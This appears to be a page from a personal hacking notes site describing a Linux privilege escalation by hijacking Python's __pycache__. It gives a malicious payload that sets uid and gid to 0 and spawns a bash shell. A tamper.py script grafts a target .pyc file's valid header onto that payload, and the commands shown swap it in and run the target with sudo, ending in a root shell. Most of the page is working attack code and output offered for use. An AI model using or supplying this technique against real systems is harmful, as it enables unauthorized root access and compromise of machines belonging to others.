Logo
Notes Directory
On this page

Linux Privilege Escalation

pycache Hijack

First we need to create the malicious python file:

import os
print("Test hijacked")
os.setuid(0)
os.setgid(0)
os.system("/bin/bash")

And then compile it:

Terminal window
$ python3 -m py_compile evil.py

Now we need to create the tamper.py file:

import os
original_pyc = "/<target>/__pycache__/targetname.cpython-312.pyc"
evil_pyc = "__pycache__/evil.cpython-312.pyc"
final_pyc = "evil.cpython-312.pyc"
print(f"[*] Reading header from {original_pyc}...")
with open(original_pyc, "rb") as f:
header = f.read(16)
print(f"[*] Reading bytecode from {evil_pyc}...")
with open(evil_pyc, "rb") as f:
f.seek(16)
bytecode = f.read()
print(f"[*] Writing malicious file with VALID header to {final_pyc}...")
with open(final_pyc, "wb") as f:
f.write(header + bytecode)
print("[+] Done! Ready to deploy.")

The tamper.py file will read the header from the original pyc file and the bytecode from the malicious pyc file and write it to a new file with the same header.

And then we need to run the tamper.py file:

Terminal window
$ python3 tamper.py
[*] Reading header from /<target>/__pycache__/targetname.cpython-312.pyc...
[*] Reading bytecode from __pycache__/evil.cpython-312.pyc...
[*] Writing malicious file with VALID header to evil.cpython-312.pyc...
[+] Done! Ready to deploy.

And then we need to move the malicious pyc file to the target:

Terminal window
$ mv evil.cpython-312.pyc /<target>/__pycache__/targetname.cpython-312.pyc
$ sudo python3 destination.py
Test hijacked
root@localhost:/tmp/.mm#